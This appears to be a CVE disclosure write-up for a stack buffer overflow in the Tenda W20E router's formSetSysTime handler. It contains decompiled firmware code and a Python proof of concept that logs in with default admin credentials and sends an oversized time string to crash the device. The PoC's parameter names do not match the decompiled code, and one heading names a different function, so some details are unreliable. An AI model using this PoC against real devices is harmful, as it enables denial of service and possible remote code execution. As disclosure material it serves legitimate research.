Headline
CVE-2023-26806: fengsha/SetSysTime.md at main · Stevenbaga/fengsha
Tenda W20E v15.11.0.6(US_W20EV4.0br_v15.11.0.6(1068_1546_841 is vulnerable to Buffer Overflow via function formSetSysTime,
Tenda W20E****version
V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)
Firmware
https://www.tenda.com.cn/download/detail-2707.html
setStaticRoute****detail
In function formSetSysTime,the content obtained by the program from the parameter “manualTime” is passed to manual_time.Then the manual_time is directly copied into the year stack through the sscanf function.There is no size check, so there is a stack overflow vulnerability.The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.
void __cdecl formSetSysTime(webs_t wp, char_t *path, char_t *query) { int v3; // r0 int v4; // r0 tm tm_t; // [sp+20h] [bp-8Ch] BYREF timeval tv; // [sp+4Ch] [bp-60h] BYREF unsigned __int8 sec[8]; // [sp+54h] [bp-58h] BYREF unsigned __int8 min[8]; // [sp+5Ch] [bp-50h] BYREF unsigned __int8 hour[8]; // [sp+64h] [bp-48h] BYREF unsigned __int8 day[8]; // [sp+6Ch] [bp-40h] BYREF unsigned __int8 month[8]; // [sp+74h] [bp-38h] BYREF unsigned __int8 year[8]; // [sp+7Ch] [bp-30h] BYREF unsigned __int8 par[16]; // [sp+84h] [bp-28h] BYREF time_t timep; // [sp+94h] [bp-18h] unsigned __int8 *manual_time; // [sp+98h] [bp-14h] unsigned __int8 *timeper; // [sp+9Ch] [bp-10h] unsigned __int8 *timezone; // [sp+A0h] [bp-Ch] unsigned __int8 *mode; // [sp+A4h] [bp-8h]
*(_DWORD *)par = 0; *(_DWORD *)&par[4] = 0; *(_DWORD *)&par[8] = 0; *(_DWORD *)&par[12] = 0; mode = websGetVar(wp, "sysTimePolicy", byte_EA7E0); if ( !strcmp((const char *)mode, “syncNet”) ) { timezone = websGetVar(wp, "timeZone", byte_EA7E0); timeper = websGetVar(wp, "syncTimeCycle", byte_EA7E0); SetValue("sys.timesyn", “1”); SetValue("sys.timezone", timezone); v3 = SetValue("sys.timefixper", timeper); if ( CommitCfm(v3) ) { sprintf((char *)par, "op=%d", 3); send_msg_to_netctrl(24, par); } } else if ( !strcmp((const char *)mode, “manual”) ) { *(_DWORD *)year = 0; *(_DWORD *)&year[4] = 0; *(_DWORD *)month = 0; *(_DWORD *)&month[4] = 0; *(_DWORD *)day = 0; *(_DWORD *)&day[4] = 0; *(_DWORD *)hour = 0; *(_DWORD *)&hour[4] = 0; *(_DWORD *)min = 0; *(_DWORD *)&min[4] = 0; *(_DWORD *)sec = 0; *(_DWORD *)&sec[4] = 0; manual_time = websGetVar(wp, "manualTime", byte_EA7E0); sscanf((const char *)manual_time, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", year, month, day, hour, min, sec); tm_t.tm_year = atoi((const char *)year) - 1900; tm_t.tm_mon = atoi((const char *)month) - 1; tm_t.tm_mday = atoi((const char *)day); tm_t.tm_hour = atoi((const char *)hour); tm_t.tm_min = atoi((const char *)min); tm_t.tm_sec = atoi((const char *)sec); timep = mktime(&tm_t); if ( timep > 10 ) { tv.tv_sec = timep; tv.tv_usec = 0; if ( settimeofday(&tv, 0) >= 0 ) { v4 = SetValue("sys.timesyn", “0”); if ( CommitCfm(v4) ) { sprintf((char *)par, "op=%d", 2); send_msg_to_netctrl(24, par); } } } } outputToWebs(wp, “1”);
poc
import requests
cmd = b’timeType =’ + b’manual’ cmd += b’&time =’ + b’2022-01-01’ +b’A’ * 500
url = b"http://192.168.0.1/login/Auth" payload = b"http://192.168.0.1/goform/setSysTime/?" + cmd
data = { "username": "admin", "password": "admin", }
def attack(): s = requests.session() resp = s.post(url=url, data=data) print(resp.content) resp = s.post(url=payload, data=data) print(resp.content)
attack()